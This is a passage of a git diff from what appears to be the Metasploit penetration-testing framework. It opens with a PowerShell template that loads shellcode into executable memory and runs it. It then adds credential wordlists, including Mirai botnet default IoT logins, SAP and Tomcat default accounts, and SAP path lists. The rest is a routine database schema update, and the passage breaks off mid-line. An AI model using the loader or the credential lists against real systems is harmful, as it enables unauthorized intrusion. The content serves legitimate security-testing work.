[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40) -[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length) - -$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero) -[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null \ No newline at end of file diff --git a/data/templates/src/elf/dll/elf_dll_x64_template.s b/data/templates/src/elf/dll/elf_dll_x64_template.s index 19aa32c31a..e60c44fb4e 100644 --- a/data/templates/src/elf/dll/elf_dll_x64_template.s +++ b/data/templates/src/elf/dll/elf_dll_x64_template.s @@ -50,7 +50,7 @@ shdr: dd 0 ; sh_link dd 0 ; sh_info dq 8 ; sh_addralign - dq dynsz ; sh_entsize + dq 7 ; sh_entsize shentsize equ $ - shdr dd 0 ; sh_name dd 3 ; sh_type = SHT_STRTAB @@ -66,9 +66,6 @@ dynsection: ; DT_INIT dq 0x0c dq _start -; DT_HASH - dq 0x04 - dq 0 ; DT_STRTAB dq 0x05 dq strtab @@ -77,7 +74,7 @@ dynsection: dq strtab ; DT_STRSZ dq 0x0a - dq strtabsz + dq 0 ; DT_SYMENT dq 0x0b dq 0 diff --git a/data/templates/template_x64_linux_dll.bin b/data/templates/template_x64_linux_dll.bin index b475470592..59f25f045f 100644 Binary files a/data/templates/template_x64_linux_dll.bin and b/data/templates/template_x64_linux_dll.bin differ diff --git a/data/wordlists/common_roots.txt b/data/wordlists/common_roots.txt index a2f113b3b1..d14aff46c3 100644 --- a/data/wordlists/common_roots.txt +++ b/data/wordlists/common_roots.txt @@ -4722,3 +4722,4 @@ zxcvbn zxcvbnm zzzz zzzzzz +vagrant diff --git a/data/wordlists/default_pass_for_services_unhash.txt b/data/wordlists/default_pass_for_services_unhash.txt index 7203bcda29..d365ec4fab 100644 --- a/data/wordlists/default_pass_for_services_unhash.txt +++ b/data/wordlists/default_pass_for_services_unhash.txt @@ -1212,3 +1212,33 @@ SQL CMOSPWD dadmin wlcsystem +vagrant +xc3511 +vizxv +888888 +xmhdipc +juantech +54321 +666666 +klv123 +service +666666 +888888 +ubnt +klv1234 +Zte521 +hi3518 +jvbzd +anko +zlxx. +7ujMko0vizxv +7ujMko0admin +ikwb +dreambox +user +realtek +1111111 +54321 +7ujMko0admin +meinsm +fucker diff --git a/data/wordlists/default_userpass_for_services_unhash.txt b/data/wordlists/default_userpass_for_services_unhash.txt index ff0458f94b..af4ddede95 100644 --- a/data/wordlists/default_userpass_for_services_unhash.txt +++ b/data/wordlists/default_userpass_for_services_unhash.txt @@ -1785,3 +1785,36 @@ AURORA$JIS$UTILITY$ wlcsystem wlcsystem news CPRM +root xc3511 +root vizxv +root 888888 +root xmhdipc +root juantech +root 123456 +root 54321 +root 1111 +root 666666 +root klv123 +service service +admin1 password +666666 666666 +888888 888888 +ubnt ubnt +root klv1234 +root Zte521 +root hi3518 +root jvbzd +root anko +root zlxx. +root 7ujMko0vizxv +root 7ujMko0admin +root ikwb +root dreambox +root user +root realtek +root 00000000 +admin 1111111 +admin 54321 +admin 7ujMko0admin +admin meinsm +mother fucker diff --git a/data/wordlists/default_users_for_services_unhash.txt b/data/wordlists/default_users_for_services_unhash.txt index c36f0e7e2b..d62dbe0010 100644 --- a/data/wordlists/default_users_for_services_unhash.txt +++ b/data/wordlists/default_users_for_services_unhash.txt @@ -913,3 +913,8 @@ AUTOLOG1 AURORA$JIS$UTILITY$ wlcsystem CPRM +Admin1 +ubnt +666666 +888888 +mother diff --git a/data/wordlists/http_default_pass.txt b/data/wordlists/http_default_pass.txt index bb0695f775..d814540dc9 100755 --- a/data/wordlists/http_default_pass.txt +++ b/data/wordlists/http_default_pass.txt @@ -16,3 +16,4 @@ xampp wampp ppmax2011 turnkey +vagrant \ No newline at end of file diff --git a/data/wordlists/http_default_userpass.txt b/data/wordlists/http_default_userpass.txt index f2e45cf3d1..10a1dbf0a3 100755 --- a/data/wordlists/http_default_userpass.txt +++ b/data/wordlists/http_default_userpass.txt @@ -8,3 +8,4 @@ wampp xampp newuser wampp xampp-dav-unsecure ppmax2011 admin turnkey +vagrant vagrant \ No newline at end of file diff --git a/data/wordlists/http_default_users.txt b/data/wordlists/http_default_users.txt index cf49119e74..f1e9760c2c 100755 --- a/data/wordlists/http_default_users.txt +++ b/data/wordlists/http_default_users.txt @@ -11,3 +11,4 @@ sys wampp newuser xampp-dav-unsecure +vagrant \ No newline at end of file diff --git a/data/wordlists/mirai_pass.txt b/data/wordlists/mirai_pass.txt new file mode 100644 index 0000000000..e34c6c8488 --- /dev/null +++ b/data/wordlists/mirai_pass.txt @@ -0,0 +1,43 @@ + +00000000 +1111 +1111111 +1234 +12345 +123456 +54321 +666666 +7ujMko0admin +7ujMko0vizxv +888888 +admin +admin1234 +anko +default +dreambox +fucker +guest +hi3518 +ikwb +juantech +jvbzd +klv123 +klv1234 +meinsm +pass +password +realtek +root +service +smcadmin +supervisor +support +system +tech +ubnt +user +vizxv +xc3511 +xmhdipc +zlxx. +Zte521 diff --git a/data/wordlists/mirai_user.txt b/data/wordlists/mirai_user.txt new file mode 100644 index 0000000000..eed54167ee --- /dev/null +++ b/data/wordlists/mirai_user.txt @@ -0,0 +1,15 @@ +666666 +888888 +admin +admin1 +administrator +Administrator +guest +mother +root +service +supervisor +support +tech +ubnt +user diff --git a/data/wordlists/mirai_user_pass.txt b/data/wordlists/mirai_user_pass.txt new file mode 100644 index 0000000000..fcdb07f4de --- /dev/null +++ b/data/wordlists/mirai_user_pass.txt @@ -0,0 +1,60 @@ +root xc3511 +root vizxv +root admin +admin admin +root 888888 +root xmhdipc +root default +root juantech +root 123456 +root 54321 +support support +root +admin password +root root +root 12345 +user user +admin +root pass +admin admin1234 +root 1111 +admin smcadmin +admin 1111 +root 666666 +root password +root 1234 +root klv123 +Administrator admin +service service +supervisor supervisor +guest guest +guest 12345 +admin1 password +administrator 1234 +666666 666666 +888888 888888 +ubnt ubnt +root klv1234 +root Zte521 +root hi3518 +root jvbzd +root anko +root zlxx. +root 7ujMko0vizxv +root 7ujMko0admin +root system +root ikwb +root dreambox +root user +root realtek +root 00000000 +admin 1111111 +admin 1234 +admin 12345 +admin 54321 +admin 123456 +admin 7ujMko0admin +admin pass +admin meinsm +tech tech +mother fucker diff --git a/data/wordlists/namelist.txt b/data/wordlists/namelist.txt index 83a2f8d029..929ee574c5 100755 --- a/data/wordlists/namelist.txt +++ b/data/wordlists/namelist.txt @@ -660,6 +660,7 @@ fresno front frontdesk fs +fs1 fsp ftp ftp- @@ -1495,6 +1496,7 @@ shoppers shopping si siebel +siem sierra sigma signin diff --git a/data/wordlists/password.lst b/data/wordlists/password.lst index fb07a5535d..1a8c9df2cc 100755 --- a/data/wordlists/password.lst +++ b/data/wordlists/password.lst @@ -88393,3 +88393,4 @@ z émigrés épée étude +vagrant diff --git a/data/wordlists/root_userpass.txt b/data/wordlists/root_userpass.txt index 77e58662bc..e28f31f82f 100755 --- a/data/wordlists/root_userpass.txt +++ b/data/wordlists/root_userpass.txt @@ -49,3 +49,4 @@ root dbps root ibm root monitor root turnkey +root vagrant diff --git a/data/wordlists/sap_default.txt b/data/wordlists/sap_default.txt index 3f7a5321c3..752eb03d2b 100644 --- a/data/wordlists/sap_default.txt +++ b/data/wordlists/sap_default.txt @@ -16,4 +16,12 @@ SAPJSF ch4ngeme SAPR3 SAP CTB_ADMIN sap123 XMI_DEMO sap123 - +IDEADM admin +SMD_ADMIN init1234 +SMD_BI_RFC init1234 +SMD_RFC init1234 +SOLMAN_ADMIN init1234 +SOLMAN_BTC init1234 +SAPSUPPORT init1234 +CONTENTSERV init1234 +SMD_AGT init1234 diff --git a/data/wordlists/sap_icm_paths.txt b/data/wordlists/sap_icm_paths.txt index 73a3450c1b..5b94429b8c 100755 --- a/data/wordlists/sap_icm_paths.txt +++ b/data/wordlists/sap_icm_paths.txt @@ -15,8 +15,8 @@ /apidocs/ /apidocs/allclasses-frame.html /apidocs/com/sap/engine/connector/connection/IConnection.html -/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html /apidocs/com/sap/engine/deploy/manager/Deploymanager.html +/apidocs/com/sap/engine/deploy/manager/DeploymanagerFactory.html /apidocs/com/sap/engine/deploy/manager/LoginInfo.html /ApplicationAdminProvider /bcb/ @@ -27,6 +27,7 @@ /bcb/bcbadmSystemInfo.jsp /bcbtest/start.jsp /BI_UDC +/BizcCommLayerAuthoring/Config?wsdl /BizcCommLayerAuthoring/Config1 /BizcCommLayerAuthoring/Config1?wsdl /bwtest @@ -35,6 +36,7 @@ /CAFDataService/Config?wsdl /ccsui /CmcApp/logon.faces +/CMSRTS/Config?wsdl /CMSRTS/Config1 /CMSRTS/Config1?wsdl /com~tc~lm~webadmin~httpprovider~web @@ -44,22 +46,27 @@ /DataArchivingService /dispatcher /dswsbobje -/dswsbobje/services/listServices /dswsbobje/services/BICatalog?wsdl +/dswsbobje/services/listServices +/examples.html /examples/ /examples_frame.html -/examples.html /exchangeProfile/ /GRMGHeartBeat /GRMGWSTest/service /GRMGWSTest/service?wsdl /guid/e067540a-a84c-2d10-77bf-c941bb5a9c7a /htmlb/ +/htmlb/docs/api/index.html /htmlb/index.html +/htmlb/jsp/index.jsp +/htmlb/moresamples.html +/htmlb/samples.html /IciActionItemService/IciActionItemConf /IciActionItemService/IciActionItemConf?wsdl /IciChatLineService/IciChatLineConf /IciChatLineService/IciChatLineConf?wsdl +/IciChatService/IciChatConf?wsdl /IciEventService/ /IciEventService/IciEventConf /IciEventService/IciEventConf?wsdl @@ -107,15 +114,20 @@ /Lighthammer /logon /logon/index.jsp +/logon/logonServlet /logon/logonServlet?redirectURL=%2Fuseradmin%2FuserAdminServlet /logon/logonServlet?redirectURL=%2FVC%2Fdefault.jsp +/logon/logonServlet?redirectURL=%Fuseradmin%FuserAdminServlet +/logon/logonServlet?redirectURL=%FVC%Fdefault.jsp /main.html /meSync/HttpGRMGTest.html /mmr/ +/mmr/mmr/MMRUI.html /Modeler /modeller/ /modeller/index.html /monitoring +/monitoring/SystemInfo /nwa /OpenSQLMonitors/ /PerformacetraceTraceApplication @@ -135,54 +147,63 @@ /samlssodemo_source /sap/ /sap/admin +/sap/admin/public/index.html /sap/bc/bsp/ /sap/bc/bsp/esh_os_service/favicon.gif /sap/bc/bsp/sap +/sap/bc/bsp/sap /sap/bc/bsp/sap/alertinbox /sap/bc/bsp/sap/bsp_dlc_frcmp /sap/bc/bsp/sap/bsp_veri /sap/bc/bsp/sap/bsp_verificatio +/sap/bc/bsp/sap/bsp_verificatio /sap/bc/bsp/sap/bsp_wd_base /sap/bc/bsp/sap/bspwd_basics /sap/bc/bsp/sap/certmap /sap/bc/bsp/sap/certreq /sap/bc/bsp/sap/crm_bsp_frame +/sap/bc/bsp/sap/crm_thtmlb_util +/sap/bc/bsp/sap/crm_ui_frame +/sap/bc/bsp/sap/crm_ui_start /sap/bc/bsp/sap/crmcmp_bpident/ /sap/bc/bsp/sap/crmcmp_brfcase /sap/bc/bsp/sap/crmcmp_hdr /sap/bc/bsp/sap/crmcmp_hdr_std /sap/bc/bsp/sap/crmcmp_ic_frame -/sap/bc/bsp/sap/crm_thtmlb_util -/sap/bc/bsp/sap/crm_ui_frame -/sap/bc/bsp/sap/crm_ui_start -/sap/bc/bsp/sap/esh_sapgui_exe /sap/bc/bsp/sap/esh_sap_link +/sap/bc/bsp/sap/esh_sapgui_exe /sap/bc/bsp/sap/graph_bsp_test /sap/bc/bsp/sap/graph_bsp_test/Mimes /sap/bc/bsp/sap/gsbirp /sap/bc/bsp/sap/hrrcf_wd_dovru /sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/htmlb_samples +/sap/bc/bsp/sap/ic_frw_notify /sap/bc/bsp/sap/iccmp_bp_cnfirm /sap/bc/bsp/sap/iccmp_hdr_cntnr /sap/bc/bsp/sap/iccmp_hdr_cntnt /sap/bc/bsp/sap/iccmp_header /sap/bc/bsp/sap/iccmp_ssc_ll/ -/sap/bc/bsp/sap/ic_frw_notify +/sap/bc/bsp/sap/it00 /sap/bc/bsp/sap/it00 /sap/bc/bsp/sap/it00/default.htm /sap/bc/bsp/sap/it00/http_client.htm /sap/bc/bsp/sap/it00/http_client_xml.htm /sap/bc/bsp/sap/public/bc +/sap/bc/bsp/sap/public/bc /sap/bc/bsp/sap/public/graphics /sap/bc/bsp/sap/sam_demo /sap/bc/bsp/sap/sam_notifying /sap/bc/bsp/sap/sam_sess_queue /sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_htmlb +/sap/bc/bsp/sap/sbspext_xhtmlb /sap/bc/bsp/sap/sbspext_xhtmlb /sap/bc/bsp/sap/spi_admin /sap/bc/bsp/sap/spi_monitor /sap/bc/bsp/sap/sxms_alertrules /sap/bc/bsp/sap/system +/sap/bc/bsp/sap/system /sap/bc/bsp/sap/thtmlb_scripts /sap/bc/bsp/sap/thtmlb_styles /sap/bc/bsp/sap/uicmp_ltx @@ -208,6 +229,7 @@ /sap/bc/gui/sap/its/designs /sap/bc/gui/sap/its/webgui /sap/bc/IDoc_XML +/sap/bc/Mi_host_http /sap/bc/MIDSD /sap/bc/Mime /sap/bc/MJC @@ -217,7 +239,6 @@ /sap/bc/MJC/mi_service /sap/bc/MJC/mi_services /sap/bc/MY_NEW_SERV99 -/sap/bc/Mi_host_http /sap/bc/ping /sap/bc/report /sap/bc/soap/ici @@ -228,15 +249,16 @@ /sap/bc/webdynpro/sap/apb_launchpad_nwbc /sap/bc/webdynpro/sap/apb_lpd_light_start /sap/bc/webdynpro/sap/apb_lpd_start_url -/sap/bc/webdynpro/sap/application_exit /sap/bc/webdynpro/sap/appl_log_trc_viewer /sap/bc/webdynpro/sap/appl_soap_management +/sap/bc/webdynpro/sap/application_exit /sap/bc/webdynpro/sap/ccmsbi_wast_extr_testenv /sap/bc/webdynpro/sap/cnp_light_test /sap/bc/webdynpro/sap/configure_application /sap/bc/webdynpro/sap/configure_component -/sap/bc/webdynpro/sap/esh_admin_ui_component /sap/bc/webdynpro/sap/esh_adm_smoketest_ui +/sap/bc/webdynpro/sap/esh_admin_ui_component +/sap/bc/webdynpro/sap/esh_admin_ui_component /sap/bc/webdynpro/sap/esh_eng_modelling /sap/bc/webdynpro/sap/esh_search_results.ui /sap/bc/webdynpro/sap/hrrcf_a_act_cnf_dovr_ui @@ -262,8 +284,8 @@ /sap/bc/webdynpro/sap/hrrcf_a_substitution_admin /sap/bc/webdynpro/sap/hrrcf_a_substitution_manager /sap/bc/webdynpro/sap/hrrcf_a_tp_assess -/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search /sap/bc/webdynpro/sap/hrrcf_a_unreg_job_search +/sap/bc/webdynpro/sap/hrrcf_a_unregemp_job_search /sap/bc/webdynpro/sap/hrrcf_a_unverified_cand /sap/bc/webdynpro/sap/sh_adm_smoketest_files /sap/bc/webdynpro/sap/wd_analyze_config_appl @@ -290,26 +312,28 @@ /sap/es/saplink /sap/es/search /sap/IStest -/sapmc/sapmc.html /sap/monitoring/ /sap/public/bc +/sap/public/bc /sap/public/bc/icons /sap/public/bc/icons_rtl /sap/public/bc/its /sap/public/bc/its/designs /sap/public/bc/its/mimes /sap/public/bc/its/mimes/system/SL/page/hourglass.html +/sap/public/bc/its/mimes/system/SL/page/hourglass.html /sap/public/bc/its/mobile/itsmobile00 /sap/public/bc/its/mobile/itsmobile01 /sap/public/bc/its/mobile/rfid /sap/public/bc/its/mobile/start /sap/public/bc/its/mobile/test -/sap/public/bc/NWDEMO_MODEL /sap/public/bc/NW_ESH_TST_AUTO +/sap/public/bc/NWDEMO_MODEL /sap/public/bc/pictograms /sap/public/bc/sicf_login_run /sap/public/bc/trex /sap/public/bc/ur +/sap/public/bc/ur /sap/public/bc/wdtracetool /sap/public/bc/webdynpro /sap/public/bc/webdynpro/adobechallenge @@ -321,14 +345,20 @@ /sap/public/bc/workflow/shortcut /sap/public/bsp /sap/public/bsp/sap +/sap/public/bsp/sap +/sap/public/bsp/sap/htmlb /sap/public/bsp/sap/htmlb /sap/public/bsp/sap/public +/sap/public/bsp/sap/public +/sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/bc /sap/public/bsp/sap/public/faa /sap/public/bsp/sap/public/graphics /sap/public/bsp/sap/public/graphics/jnet_handler /sap/public/bsp/sap/public/graphics/mimes /sap/public/bsp/sap/system +/sap/public/bsp/sap/system +/sap/public/bsp/sap/system_public /sap/public/bsp/sap/system_public /sap/public/icf_check /sap/public/icf_info @@ -357,6 +387,7 @@ /SAPIKS2/contentShow.sap /SAPIKS2/jsp/adminShow.jsp /SAPIrExtHelp +/sapmc/sapmc.html /scripts/wgate /servlet/com.sap.admin.Critical.Actio /sim/ @@ -379,10 +410,14 @@ /TXmla /uddi/ /uddiclient +/uddiclient/jsps/index.jsp +/uddiclient/process/ /useradmin /userhome +/utl/UsageTypesInfo /VC /vscantest/ +/webdynpro/dispatcher /webdynpro/dispatcher/ /webdynpro/dispatcher/sap.com/grc~accvwdcomp /webdynpro/dispatcher/sap.com/grc~aewebquery @@ -403,10 +438,12 @@ /webdynpro/dispatcher/virsa/ccappcomp/ComplianceCalibrator /webdynpro/resources/sap.com/ /webdynpro/welcome/Welcome.jsp +/WSConnector/Config?wsdl /WSConnector/Config1 /WSConnector/Config1?wsdl /wsd2wsdl /wsnavigator +/wsnavigator/jsps/index.jsp /wsnavigator/jsps/redirect.jsp /wsnavigator/jsps/sendrequest.jsp /wsnavigator/jsps/test.jsp diff --git a/data/wordlists/tomcat_mgr_default_pass.txt b/data/wordlists/tomcat_mgr_default_pass.txt index 1560a0b044..6351fa7015 100755 --- a/data/wordlists/tomcat_mgr_default_pass.txt +++ b/data/wordlists/tomcat_mgr_default_pass.txt @@ -4,3 +4,4 @@ role1 root tomcat s3cret +vagrant diff --git a/data/wordlists/tomcat_mgr_default_userpass.txt b/data/wordlists/tomcat_mgr_default_userpass.txt index bce901bbac..36fd3639b8 100755 --- a/data/wordlists/tomcat_mgr_default_userpass.txt +++ b/data/wordlists/tomcat_mgr_default_userpass.txt @@ -6,3 +6,4 @@ ADMIN ADMIN xampp xampp tomcat s3cret QCC QLogic66 +admin vagrant diff --git a/data/wordlists/unix_passwords.txt b/data/wordlists/unix_passwords.txt index 08c9a5b1c5..78a1139d6c 100755 --- a/data/wordlists/unix_passwords.txt +++ b/data/wordlists/unix_passwords.txt @@ -1004,3 +1004,5 @@ raspberry 74k&^*nh#$ arcsight MargaretThatcheris110%SEXY +karaf +vagrant diff --git a/data/wordlists/unix_users.txt b/data/wordlists/unix_users.txt index 9eb78c1278..84f40d7fe8 100755 --- a/data/wordlists/unix_users.txt +++ b/data/wordlists/unix_users.txt @@ -40,6 +40,7 @@ hplip informix install irc +karaf kernoops libuuid list @@ -108,3 +109,4 @@ www-data xpdb xpopr zabbix +vagrant diff --git a/db/schema.rb b/db/schema.rb index ea06878e8e..d6fb88b30e 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,18 +11,18 @@ # # It's strongly recommended that you check this file into your version control system. -ActiveRecord::Schema.define(version: 20150514182921) do +ActiveRecord::Schema.define(version: 20161107203710) do # These are extensions that must be enabled in order to support this database enable_extension "plpgsql" - create_table "api_keys", force: true do |t| + create_table "api_keys", force: :cascade do |t| t.text "token" t.datetime "created_at", null: false t.datetime "updated_at", null: false end - create_table "automatic_exploitation_match_results", force: true do |t| + create_table "automatic_exploitation_match_results", force: :cascade do |t| t.integer "match_id" t.integer "run_id" t.string "state", null: false @@ -33,7 +33,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "automatic_exploitation_match_results", ["match_id"], name: "index_automatic_exploitation_match_results_on_match_id", using: :btree add_index "automatic_exploitation_match_results", ["run_id"], name: "index_automatic_exploitation_match_results_on_run_id", using: :btree - create_table "automatic_exploitation_match_sets", force: true do |t| + create_table "automatic_exploitation_match_sets", force: :cascade do |t| t.integer "workspace_id" t.integer "user_id" t.datetime "created_at", null: false @@ -43,7 +43,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "automatic_exploitation_match_sets", ["user_id"], name: "index_automatic_exploitation_match_sets_on_user_id", using: :btree add_index "automatic_exploitation_match_sets", ["workspace_id"], name: "index_automatic_exploitation_match_sets_on_workspace_id", using: :btree - create_table "automatic_exploitation_matches", force: true do |t| + create_table "automatic_exploitation_matches", force: :cascade do |t| t.integer "module_detail_id" t.string "state" t.integer "nexpose_data_vulnerability_definition_id" @@ -58,7 +58,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "automatic_exploitation_matches", ["module_detail_id"], name: "index_automatic_exploitation_matches_on_module_detail_id", using: :btree add_index "automatic_exploitation_matches", ["module_fullname"], name: "index_automatic_exploitation_matches_on_module_fullname", using: :btree - create_table "automatic_exploitation_runs", force: true do |t| + create_table "automatic_exploitation_runs", force: :cascade do |t| t.integer "workspace_id" t.integer "user_id" t.integer "match_set_id" @@ -70,7 +70,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "automatic_exploitation_runs", ["user_id"], name: "index_automatic_exploitation_runs_on_user_id", using: :btree add_index "automatic_exploitation_runs", ["workspace_id"], name: "index_automatic_exploitation_runs_on_workspace_id", using: :btree - create_table "clients", force: true do |t| + create_table "clients", force: :cascade do |t| t.integer "host_id" t.datetime "created_at" t.string "ua_string", limit: 1024, null: false @@ -79,17 +79,17 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "updated_at" end - create_table "credential_cores_tasks", id: false, force: true do |t| + create_table "credential_cores_tasks", id: false, force: :cascade do |t| t.integer "core_id" t.integer "task_id" end - create_table "credential_logins_tasks", id: false, force: true do |t| + create_table "credential_logins_tasks", id: false, force: :cascade do |t| t.integer "login_id" t.integer "task_id" end - create_table "creds", force: true do |t| + create_table "creds", force: :cascade do |t| t.integer "service_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -102,7 +102,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.string "source_type" end - create_table "events", force: true do |t| + create_table "events", force: :cascade do |t| t.integer "workspace_id" t.integer "host_id" t.datetime "created_at" @@ -114,7 +114,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.text "info" end - create_table "exploit_attempts", force: true do |t| + create_table "exploit_attempts", force: :cascade do |t| t.integer "host_id" t.integer "service_id" t.integer "vuln_id" @@ -130,7 +130,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.text "fail_detail" end - create_table "exploited_hosts", force: true do |t| + create_table "exploited_hosts", force: :cascade do |t| t.integer "host_id", null: false t.integer "service_id" t.string "session_uuid", limit: 8 @@ -140,7 +140,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.datetime "updated_at", null: false end - create_table "host_details", force: true do |t| + create_table "host_details", force: :cascade do |t| t.integer "host_id" t.integer "nx_console_id" t.integer "nx_device_id" @@ -151,7 +151,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.float "nx_risk_score" end - create_table "hosts", force: true do |t| + create_table "hosts", force: :cascade do |t| t.datetime "created_at" t.inet "address", null: false t.string "mac" @@ -186,12 +186,12 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "hosts", ["state"], name: "index_hosts_on_state", using: :btree add_index "hosts", ["workspace_id", "address"], name: "index_hosts_on_workspace_id_and_address", unique: true, using: :btree - create_table "hosts_tags", force: true do |t| + create_table "hosts_tags", force: :cascade do |t| t.integer "host_id" t.integer "tag_id" end - create_table "listeners", force: true do |t| + create_table "listeners", force: :cascade do |t| t.datetime "created_at", null: false t.datetime "updated_at", null: false t.integer "workspace_id", default: 1, null: false @@ -205,7 +205,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.text "macro" end - create_table "loots", force: true do |t| + create_table "loots", force: :cascade do |t| t.integer "workspace_id", default: 1, null: false t.integer "host_id" t.integer "service_id" @@ -222,7 +222,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "loots", ["module_run_id"], name: "index_loots_on_module_run_id", using: :btree - create_table "macros", force: true do |t| + create_table "macros", force: :cascade do |t| t.datetime "created_at", null: false t.datetime "updated_at", null: false t.text "owner" @@ -232,7 +232,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.binary "prefs" end - create_table "metasploit_credential_cores", force: true do |t| + create_table "metasploit_credential_cores", force: :cascade do |t| t.integer "origin_id", null: false t.string "origin_type", null: false t.integer "private_id" @@ -256,7 +256,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_cores", ["workspace_id", "realm_id", "public_id"], name: "unique_privateless_metasploit_credential_cores", unique: true, where: "(((realm_id IS NOT NULL) AND (public_id IS NOT NULL)) AND (private_id IS NULL))", using: :btree add_index "metasploit_credential_cores", ["workspace_id"], name: "index_metasploit_credential_cores_on_workspace_id", using: :btree - create_table "metasploit_credential_logins", force: true do |t| + create_table "metasploit_credential_logins", force: :cascade do |t| t.integer "core_id", null: false t.integer "service_id", null: false t.string "access_level" @@ -269,7 +269,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_logins", ["core_id", "service_id"], name: "index_metasploit_credential_logins_on_core_id_and_service_id", unique: true, using: :btree add_index "metasploit_credential_logins", ["service_id", "core_id"], name: "index_metasploit_credential_logins_on_service_id_and_core_id", unique: true, using: :btree - create_table "metasploit_credential_origin_cracked_passwords", force: true do |t| + create_table "metasploit_credential_origin_cracked_passwords", force: :cascade do |t| t.integer "metasploit_credential_core_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -277,7 +277,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_origin_cracked_passwords", ["metasploit_credential_core_id"], name: "originating_credential_cores", using: :btree - create_table "metasploit_credential_origin_imports", force: true do |t| + create_table "metasploit_credential_origin_imports", force: :cascade do |t| t.text "filename", null: false t.integer "task_id" t.datetime "created_at", null: false @@ -286,7 +286,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_origin_imports", ["task_id"], name: "index_metasploit_credential_origin_imports_on_task_id", using: :btree - create_table "metasploit_credential_origin_manuals", force: true do |t| + create_table "metasploit_credential_origin_manuals", force: :cascade do |t| t.integer "user_id", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -294,7 +294,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_origin_manuals", ["user_id"], name: "index_metasploit_credential_origin_manuals_on_user_id", using: :btree - create_table "metasploit_credential_origin_services", force: true do |t| + create_table "metasploit_credential_origin_services", force: :cascade do |t| t.integer "service_id", null: false t.text "module_full_name", null: false t.datetime "created_at", null: false @@ -303,7 +303,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_origin_services", ["service_id", "module_full_name"], name: "unique_metasploit_credential_origin_services", unique: true, using: :btree - create_table "metasploit_credential_origin_sessions", force: true do |t| + create_table "metasploit_credential_origin_sessions", force: :cascade do |t| t.text "post_reference_name", null: false t.integer "session_id", null: false t.datetime "created_at", null: false @@ -312,7 +312,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_origin_sessions", ["session_id", "post_reference_name"], name: "unique_metasploit_credential_origin_sessions", unique: true, using: :btree - create_table "metasploit_credential_privates", force: true do |t| + create_table "metasploit_credential_privates", force: :cascade do |t| t.string "type", null: false t.text "data", null: false t.datetime "created_at", null: false @@ -320,9 +320,10 @@ ActiveRecord::Schema.define(version: 20150514182921) do t.string "jtr_format" end - add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, using: :btree + add_index "metasploit_credential_privates", ["type", "data"], name: "index_metasploit_credential_privates_on_type_and_data", unique: true, where: "(NOT ((type)::text = 'Metasploit::Credential::SSHKey'::text))", using: :btree + add_index "metasploit_credential_privates", ["type"], name: "index_metasploit_credential_privates_on_type_and_data_sshkey", unique: true, where: "((type)::text = 'Metasploit::Credential::SSHKey'::text)", using: :btree - create_table "metasploit_credential_publics", force: true do |t| + create_table "metasploit_credential_publics", force: :cascade do |t| t.string "username", null: false t.datetime "created_at", null: false t.datetime "updated_at", null: false @@ -331,7 +332,7 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_publics", ["username"], name: "index_metasploit_credential_publics_on_username", unique: true, using: :btree - create_table "metasploit_credential_realms", force: true do |t| + create_table "metasploit_credential_realms", force: :cascade do |t| t.string "key", null: false t.string "value", null: false t.datetime "created_at", null: false @@ -340,27 +341,27 @@ ActiveRecord::Schema.define(version: 20150514182921) do add_index "metasploit_credential_realms", ["key", "value"], name: "index_metasploit_credential_realms_on_key_and_value", unique: true, using: :btree - create_table "mod_refs", force: true do |t| + create_table "mod_refs", force: :cascade do |t| t.string "module", limit: 1024 t.string "mtype", limit: 128 t.text "ref" end - create_table "module_actions", force: true do |t| + create_table "module_actions", force: :cascade do |t| t.integer "detail_id" t.text "name" end add_index "module_actions", ["detail_id"], name: "index_module_actions_on_detail_id", using: :btree - create_table 